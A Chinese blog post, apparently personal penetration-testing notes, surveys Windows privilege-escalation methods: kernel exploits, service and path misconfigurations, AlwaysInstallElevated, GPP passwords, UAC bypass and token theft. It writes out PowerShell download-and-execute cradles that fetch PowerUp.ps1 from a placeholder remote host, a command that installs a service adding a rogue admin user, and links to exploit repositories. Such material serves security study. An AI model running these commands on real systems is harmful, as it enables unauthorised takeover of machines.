摸魚的時候,想想內網這部分還有什么地方適合水一下,翻翻往期,開始填坑
總結一下Windows提權的部分,以后有時間再補一下Linux提權
這仍然是一篇思路總結類的隨筆,具體細節內容不展開,也展開不了......歡迎去各大社區學習大佬們的操作
關於第三方提權以后再說
0x00前言
常見的Windows權限有三種:user administrator system (當然還有其他的)
administrator管理員權限是比較高的,但是如果涉及到讀取系統文件,還是要靠system權限
和web提權一樣,Windows提權也可以分成橫向提權和縱向提權,實際上那些可利用的方法默認都是縱向提權,即從低權限到高權限
Windows提權的分類方法呢,也是五花八門的
當然可以利用第三方漏洞進行提權,比如各種數據庫提權,但我覺得這部分不好划分到Windows系統提權這邊兒,有些亂,就分到數據庫提權的專題了
那以后有機會整理下數據庫提權的內容......
0x01 系統內核溢出漏洞提權
第一種要介紹的提權辦法就是這個溢出漏洞提權,如果目標機器沒有打相應的補丁,就可以利用(啊之所以把它放在第一個並不是說優先級最高,並不推薦優先考慮內核溢出漏洞)
首先要收集一下目標系統的信息
whoami /groups
如果像圖中一樣,看到是medium權限,就想想如何提升到high
執行命令,查看安裝了哪些補丁,或者systeminfo
找到相應的提權漏洞,且沒打過補丁,可以利用相應的exp就好了
找了幾個Windows提權exp整理鏈接,是否可用需要大家自行測試判斷,有更全的歡迎評論補充(話說我忘記我電腦里的exp都是哪里下載的。。。)
https://github.com/lyshark/Windows-exploits
https://github.com/klsfct/getshell
https://github.com/SecWiki/windows-kernel-exploits
https://github.com/Ascotbe/Kernelhub
於是問題轉變成了:怎么去根據缺少的補丁去找exp?或者說怎么去找缺失的補丁?
(1)msf
msf中存在post/windows/gather/enum_patches模塊
最好是在meterpreter中run post/windows/gather/enum_patches 這個腳本
就能列出目標機器補丁及利用情況
當然,結果僅供參考
(2)wes
下載鏈接:https://github.com/bitsadmin/wesng
全名:Windows exploit suggester
一款很有名的,適用於Windows系統的工具,用於比較補丁存在情況,提供相關提權漏洞信息
但是這個玩意是個py,需要有py環境,不過這個不算啥問題
它需要把目標系統systeminfo的信息導入一個txt文件,再把這個txt文件拖回攻擊者本機,在攻擊者本機上執行相關腳本加以判斷。所以我說需要py環境不算啥問題,誰機器上沒有py啊
具體使用方法不說了網上找吧
(3)Sherlock.ps1腳本
下載鏈接:https://github.com/rasta-mouse/Sherlock
相關使用方法介紹:https://www.freebuf.com/sectool/131393.html
還有一些腳本工具對Windows支持不好或者一般比如vulmap、WindowsVulnScan什么的不說了
0x02 錯誤配置提權
1.系統服務權限配置錯誤
一般來說,Windows服務,以system權限運行的,其相關文件鍵值都是受到保護的,不能被修改的
但是,如果有些服務沒有得到有效保護,就會出現低權限用戶可以操作有關系統調用的可執行文件的這種狀況,如果替換掉文件,新文件隨系統自啟動而被調用,從而獲得系統權限
所以:如果相關服務未運行,就替換掉原來的服務,再重啟服務;如果正在運行且無法中止,常采用DLL劫持並重啟服務
(1)PowerUp腳本
下載鏈接: https://github.com/PowerShellMafia/PowerSploit/blob/master/Privesc/PowerUp.ps1
本地cmd運行方法 powershell -exec bypass -Command "& {import-module .\PowerUp.ps1;Invoke-Allchecks}"
列出所有可能存在問題的服務
或者遠程 powershell -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://xxxx/xxxx/xxxxx/xxxxx/xxx/powerup.ps1'); Invoke-AllChecks"
當然,要把此腳本PowerUp.ps1搞到目標機器上哈
可執行類似如下的命令,寫一個服務來添加用戶
powershell -nop -exec bypass IEX (New-Object Net.WebClient).DownloadString('powerup.ps1的絕對路徑'); Install-ServiceBinary -ServerName 'WTF' -UserName LCX -Password NOWAY
(我在ServerName處寫的WTF是因為要從之前一步執行腳本得到的結果中篩選一個有問題的服務名,而那個服務名就叫WTF或者叫別的什么東西,總之這兩者要對應,不是隨便寫的)
對方一重啟系統,我這個新的高權限用戶LCX就會加進去
(2)msf service_permissions
設置好SESSION和payload中的LHOST、LPORT
這個SESSION是meterpreter的session號的那個session不是別的什么session更不是亂寫的,此模塊想要成功需要借助已有的一個meterpreter會話
正常會反彈一個新的具有system權限的meterpreter的,我並沒有成功(lll¬ω¬),貌似與原meterpreter的運行權限有關(決定是新建服務還是劫持服務),歡迎各位兄弟積極嘗試
2.注冊表鍵AlwaysInstallElevated
如果啟用此策略設置項,任何權限用戶都能以system權限安裝惡意MSI文件(Microsoft Windows Installer,常見的以.msi為后綴的文件)
如果像我這樣,在計算機配置和用戶配置中都啟用了這一項,就很麻煩了
相應的注冊表鍵中AlwaysInstallElevated位置就會置1
還是可以使用PoweUp.ps1下的Get-RegistryAlwaysInstallElevated模塊檢查注冊表鍵是否被設置
如果,返回為true,就說明存在我上面啟用配置的情況,管理員不講武德,希望你好自為之好好反思
powershell -nop -exec bypass IEX (New-Object Net.WebClient).DownloadString('http:/xxxx/xxxxx/xxxx/xxxx/powerup.ps1'); Get-RegistryAlwaysInstallElevated
遠程加載或者
powershell -nop -exec bypass IEX (New-Object Net.WebClient).DownloadString('powerup.ps1本地絕對路徑'); Get-RegistryAlwaysInstallElevated
把腳本傳到目標機器上執行本地執行
可以利用msf
具體還是和上文一樣,需要一個現成的meterpreter它的session參數,run一下提權
3.可信任的服務路徑漏洞(TSP---trusted service path)
利用Windows文件路徑解析特性,如果一個服務的可執行文件的路徑沒有被雙引號引起來且包括空格,那么這個服務就是有漏洞的
如果路徑與服務有關,則任意創建一個服務
如果路徑與可執行文件有關,則任意創建一個可執行文件
由於Windows服務常常用系統權限運行的,但是如果路徑中有空格,就會產生不一樣的結果
例如"C:\Program Files\Microsoft Office\lcx.exe"
會依次判斷C:\Program.exe
C:\Program Files\Microsoft.exe
C:\Program Files\Microsoft Office\lcx.exe
這條命令
wmic service get name,displayname,pathname,startmode|findstr /i "Auto" |findstr /i /v "C:\Windows\\" |findstr/i /v """
查一下有哪些服務路徑沒有被引號引起來
嗯......順便看一下路徑里有沒有空格
然后把想要利用system權限執行的應用程序重命名,比如我要執行hhh.exe,沒用括號引起來的路徑是C:\Program Files\Microsoft Office\......
我就把hhh.exe改成Microsoft.exe並扔到Program Files路徑下(這里只是舉個例子意思一下)
嗯,除了要找一個有空格,且必須可寫的路徑才可以利用啊,單單沒引號有空格還不行,這個路徑(文件夾)必須是可寫的,所以這個方法要求很多,比較雞肋
用這個系統命令icacls 查看選擇的目標路徑
everyone是說所有用戶對此文件夾有完全控制的權限
(OI)(CI)(F)是指對此文件夾有讀寫刪除其下文件、子目錄的權限,可以說是非常齊全了,這種就是我們需要的目標
當然圖我只是一個演示,這種條件苛刻的並不好找
之后執行sc stop 服務名
sc start 服務名
重啟服務即可實現提權
實在雞肋,加了引號就不能用了
4.自動安裝配置文件
管理員給內網批量配置環境時,可能會使用腳本部署
如果安裝配置文件包含管理員賬號密碼,就可以用管理員的權限操作
執行 dir /b /s c:\Unattend.xml 找應答文件
打開看看,有沒有明文或者密文密碼
同理再找找有沒有sysprep.inf、sysprep.xml這種應答文件
kali上還有利用模塊 post/windows/gather/enum_unattend (我是沒用過)
5.計划任務
schtasks /query /fo LIST /v
看一下計划任務
推薦工具 accessChk,用於Windows中系統查詢管理
下載鏈接:https://docs.microsoft.com/zh-cn/sysinternals/downloads/accesschk
如果攻擊者對以高權限運行的任務所在的目錄有寫權限,可以使用惡意程序覆蓋原程序
查看指定目錄權限配置
accesschk.exe -dqv "C:\Windows\SysWOW64\Macromed\Flash" -accepteula
RW為可讀寫,R只讀,W可寫
看一下當前用戶對這個目標目錄是不是有W權限,如果有可以篡改目錄中的文件,讓假文件隨高權限的計划任務一起執行,實現權限提升
6.Empire內置模塊
Empire中也有相關提權漏洞搜索應用的功能
usemodule privesc/powerup 查看powerup模塊列表,里面有很多模塊可以嘗試,用於檢查漏洞,執行腳本提權
額......測試效果一般
0x03 組策略首選項提權
域環境中的域主機太多了,多為批量部署。域管理員(比如我,我反思)常常會通過域控的組策略批量修改修改域主機的本地管理員密碼(注意此處不是域管理員密碼)
這就可能導致一個問題:所有受組策略影響,被批量修改密碼的本地管理員賬戶,他們的密碼是一樣的
所有域策略放在域控的 C:\Windows\SYSVOL\DOMAIN\Policies中,去找吧
這個SYSVOL文件夾是域控自帶的,用於存儲登錄腳本、組策略、域信息等
當管理員新建一個組策略的時候,會在SYSVOL中自動生成一個XML文件,並把該組策略更新后的組策略密碼在XML文件中存了一份
這個密碼是加密后存的,但是密鑰已經公開了,相當於加密了個寂寞
xml文件中的cpassword項就是密碼
這個方法很老了,成功率低,所以不再詳細介紹了
感興趣參考 https://www.cnblogs.com/Yang34/p/12492270.html
0x04 bypassUAC提權
在Windows中, 平時或多或少都會遇到UAC(user account control 用戶賬戶控制)
類似這種東西
其確保了進行某些操作前,完成對用戶身份的驗證,避免惡意程序運行、安裝、更改
UAC有四種設置要求:
始終通知--任何程序要使用最高權限的時候都通知本地用戶
僅在程序試圖更改我的計算機時通知我--UAC默認設置,除了本地Windows以外的程序要使用高權限時通知本地用戶
僅在程序試圖更改我的計算機時通知我(不降低桌面亮度)--同上
從不通知--用戶為系統管理員時,所有程序都可以以最高權限運行
也可以在這里修改
如果對方機器開了UAC,那么我們的程序執行時就因為需要高權限確認但我們無法確認進而卡住,無法執行,還會暴露
怎么辦
1.msf bypassuac
當已經獲得目標機器的一個meterpreter的shell時
getuid發現此shell權限是個普通用戶權限,不夠,getsystem也不行
可以把當前shell,background后台運行
選擇合適的模塊,設置set payload windows/meterpreter/reverse_tcp 和 挪到后台運行的老SESSION號......
利用參考這篇文章 https://www.freebuf.com/articles/system/185311.html
實際上效果一般,對方機器上的殺軟不出意外的話會對此有所防護
有些模塊有很多限制要求:比如必須在管理員組中、UAC為默認設置、對方系統要求等
2. msf RunAs
也是一個msf中的模塊,局限性也比較大
思想和之前的msf那些模塊一樣
也是有要求的,要求當前用戶在管理員組中,而且對方機器還是會彈出UAC的框要對方手動點
沒什么鳥用
說句題外話,大佬的無彈窗滲透實驗一波流操作:https://blog.csdn.net/niexinming/article/details/77807243
3.其他模塊,如
Nishang 中的Invoke-PsUACme模塊
Empire中的bypassuac模塊、bypassuac_wscript
請參考網上其他師傅們的文章
以上只是一些簡單的直接應用的模塊
實際上繞過UAC提權的按原理分類可以分為DLL劫持、COM接口等等等等,還有很多無窗口的操作
上述那些模塊也是應用了這些原理
更多內容可以參考這兩篇文章
https://www.freebuf.com/vuls/183914.html
https://blog.csdn.net/weixin_30760895/article/details/98142206
具體效果有待測試
0x05 令牌竊取
令牌相當於另一種形式的賬戶和密碼,具有難以破解的隨機性,用於決定當前請求是否被許可及其用戶歸屬問題
那我們可以通過竊取高權限用戶的令牌獲得高權限實現提權
1.msf 令牌竊取
正常獲取meterpreter之后,有很多操作,詳情請看https://www.cnblogs.com/lcxblogs/articles/14163368.html
上面那篇文章總結得很好,其中也有講到關於msf中令牌竊取的操作
即use incognito
之后
list_tokens -u
可見目標機器中(特指在當前meterpreter獲取到shell權限下看到的令牌,如果這個權限很低就看不到多少令牌,權限越高看到的令牌越多。當然域管理員如果沒登錄過
這台機器也是不會有其令牌的,想利用域管理員令牌前提是其登錄過這台機器且沒重啟)能看到的、存在的令牌
可能會存在兩種令牌:Delegations Tokens--授權令牌(可交互)
Impersonation Tokens--模擬令牌(非交互)
之后用impersonate_token 加 令牌名的形式竊取高權限令牌
(注意:令牌名中的是這種格式,主機名\\用戶名,多了一個\不要漏掉)
2.爛土豆提權
即常見的rotten potato ,用於把本地用戶權限提到本地高權限 下載鏈接 https://github.com/foxglovesec/RottenPotato
前面步驟和上一小點一樣use incognito然后list_tokens -u找令牌
之后把此exe文件上傳到目標機器里,執行
execute -cH -f ./rottenpotato.exe
最后用impersonate_token 加 令牌名的形式竊取高權限令牌
(注意:令牌名中的是這種格式,主機名\\用戶名,多了一個\不要漏掉)
原理請參考:http://hackergu.com/powerup-stealtoken-rottenpotato/
除了msf,Empire也有steal_token功能用於令牌竊取,這個看以后如果說到Empire再說吧
后篇Linux提權指路鏈接 https://www.cnblogs.com/lcxblogs/p/13983754.html
部分內容與行文結構參考ms08067實驗室《內網安全攻防》一書
隨便轉載,請標明作者出處